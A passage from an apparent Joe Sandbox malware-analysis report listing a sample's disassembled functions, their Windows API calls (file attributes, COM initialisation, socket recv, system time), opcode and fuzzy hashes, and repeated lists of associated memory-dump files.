Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 63ff9cd57e19b9d5a8ae3220485eba45809f3a5e682e3cf7f8dbd6003c5ccfa8
Instruction ID: 93a38aa3675370eecbf7d3ab66e3f7c08ebf2f91712f16d5cc7d87b5ea9f0458
Opcode Fuzzy Hash: 63ff9cd57e19b9d5a8ae3220485eba45809f3a5e682e3cf7f8dbd6003c5ccfa8
Instruction Fuzzy Hash: 19C08C6802270005ED1E47BC00888A8330549C7BA43F45BC8E0745B3E1CA395807D650

Function 003987B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0039DA1D,?,?,?,?), ref: 003987B9

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 244d91cc925060ac947202eb032dc400339662b18142080ec8afc94e14f6e756
Instruction ID: 078773e216664d10e8f81c08816a10f04720776925887520180729b795bc2ea9
Opcode Fuzzy Hash: 244d91cc925060ac947202eb032dc400339662b18142080ec8afc94e14f6e756
Instruction Fuzzy Hash: 72C08C7802230086EE1E8BBC408882832059AC3B283F04B8CE0315B3E1CB3AC803CBA0

Function 0039B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0039B3C7

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 78d4d75e849796b09b25c9c317e62203fbf848e47bb6a989f722e1e3e0b25b5f
Instruction ID: 4cb983a173fa464a2f02ee9c4b457f905193f85c1d5168f075a130f2a4654c0c
Opcode Fuzzy Hash: 78d4d75e849796b09b25c9c317e62203fbf848e47bb6a989f722e1e3e0b25b5f
Instruction Fuzzy Hash: 21B10570A10268DFEF29CF14C994BDEB7B5EF06304F5085D9E80967281D775AA84CF90

Function 05430CA0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd98a3a6edc9f49dd4eca31ddfe2366a7cc42f1280948f49c5c989636eb935bc
Instruction ID: 54d8bed205b9faabdbd4556573813a5aff6e705658fdb64f15d7462216017a11
Opcode Fuzzy Hash: cd98a3a6edc9f49dd4eca31ddfe2366a7cc42f1280948f49c5c989636eb935bc
Instruction Fuzzy Hash: 5E1104EB04C110BDE31AC1426A1EAF66BBFE6DE3307308617F44F89572E2944E4BA131

Function 05430C1D Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 487cec5bd27a695335b2bcc66ff12c0c2a0522e36c866cd91c1e24cc2a18af9a
Instruction ID: a762405f22f7662ab5d73aeb7ddced62125e1438e1ea286fb8acd0172ab028d5
Opcode Fuzzy Hash: 487cec5bd27a695335b2bcc66ff12c0c2a0522e36c866cd91c1e24cc2a18af9a
Instruction Fuzzy Hash: 6201A1AB04C014FDE356C142671E5F76ABFE1CA3307308223F80F94932A2940A5B6071

Function 05430C26 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcaf45a158be94dc4805e29edd8e60a3bb65004127b530e7ef03b6ded202e16a
Instruction ID: dd5a0b4b2777cb5420854cdc3fae58c9baadd3e8cdd0c428e1217cdfb7bdb945
Opcode Fuzzy Hash: dcaf45a158be94dc4805e29edd8e60a3bb65004127b530e7ef03b6ded202e16a
Instruction Fuzzy Hash: 3801C0EB04C014FDE25680826B0E9F66ABFE1DA3303308623B84B9493292944A4B6031

Function 05430C4E Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d04326a1d0aba7249eaf28f048bc64c2024d9d3eaa9ee7965cb7bb6451ec0568
Instruction ID: 391d41de7a27954f5d6508139d4188975b914bd3cb48161c6cc871804ee8cf4b
Opcode Fuzzy Hash: d04326a1d0aba7249eaf28f048bc64c2024d9d3eaa9ee7965cb7bb6451ec0568
Instruction Fuzzy Hash: 9AF0A2BB04D014EDE356D146671E5F76EBFE2DB3303308613F44BD557292940A4BA032

Function 05430CCC Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ba77db1f2f6f2c4493b3cfc37a13189257d66d9164f42c5db57442bb0dc3f10
Instruction ID: e6e56cbd2b95c8d9cbfd268082e04b37bee51572e7aa7fdf12eb362fc6de94d6
Opcode Fuzzy Hash: 8ba77db1f2f6f2c4493b3cfc37a13189257d66d9164f42c5db57442bb0dc3f10
Instruction Fuzzy Hash: 190126BB00D120EDE366C546660E5F76FBAEA8E7303348717F88F8547292540E4BA171

Function 05430CE7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1d81dc9ebc7171f31c2261479c70a7ea0052147f3aa937fcd894df0fd93fbb
Instruction ID: 0d601061d8257b422483ce01e0acc8811784a7045750bd907bbaaf39a61be28f
Opcode Fuzzy Hash: ce1d81dc9ebc7171f31c2261479c70a7ea0052147f3aa937fcd894df0fd93fbb
Instruction Fuzzy Hash: E2F046EB08D010ECE767C1526A1E5F72FBAE5CE6303318643F88BC9872D1488D8BA071

Function 05430C85 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0939fa71c732b9b5b47182e75646b787074bbbb0a4df73fcaf8fc4e42a33305
Instruction ID: ddc3bf040f58dd605e54d4db3502f9d6a177204d853fac095c4f45a21f9a1a9a
Opcode Fuzzy Hash: b0939fa71c732b9b5b47182e75646b787074bbbb0a4df73fcaf8fc4e42a33305
Instruction Fuzzy Hash: 27F022EB00E020BDE36280862A1E5F72AFEA59F6303304347F48B855B28685194BA032

Function 05430C64 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2259778937.0000000005430000.00000040.00001000.00020000.00000000.sdmp, Offset: 05430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5430000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6278f59e2465ee8e4303288eb3b79d60a4c4844eb06801032108c54759918d87
Instruction ID: 707235a35f62184eef37376590cd1e3208407847b9213aa35c643fb6544b57fa
Opcode Fuzzy Hash: 6278f59e2465ee8e4303288eb3b79d60a4c4844eb06801032108c54759918d87
Instruction Fuzzy Hash: A9F0F4FB40D124FDE766C542660B5F72BBAE69A7307308213F84B854B282540D5BA172

Non-executed Functions

Function 0039E0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0039E10B
recv.WS2_32(?,?,00000008,00000000), ref: 0039E140

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 8c30911063448e333a636e2249fa592b14f1c2cf4d441c2098d761af1f52305d
Instruction ID: 2f0858653a5ae4978ad17023c28e1658ee144113a4859a0222a30165a7dd1e5f
Opcode Fuzzy Hash: 8c30911063448e333a636e2249fa592b14f1c2cf4d441c2098d761af1f52305d
Instruction Fuzzy Hash: A831F671A002489BDB26CB6DDC81BFB77BCEB09724F050625E515EB3D1CA74A844CBA0

Function 003ACBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,003ACF52,?,00000003,00000003,?,003ACF87,?,?,?,00000003,00000003,?,003AC4FD,00392FB9,00000001), ref: 003ACC03

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 583b87b1e5339f8068a06ce25bbaffb45e632cfb54f0d52010b84dc1d06d1fb3
Instruction ID: d1b711b8b92022d2e3cf14a23775854d20fb7435b682dc231f6e3a5890d6b4ea
Opcode Fuzzy Hash: 583b87b1e5339f8068a06ce25bbaffb45e632cfb54f0d52010b84dc1d06d1fb3
Instruction Fuzzy Hash: 28D02232602038938A1B3B84EC488ADBB8CCE02B207021111EA081B120CAA1AC418BD0

Function 004A7B6E Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

&, xrefs: 004A7BE8

Memory Dump Source

Source File: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
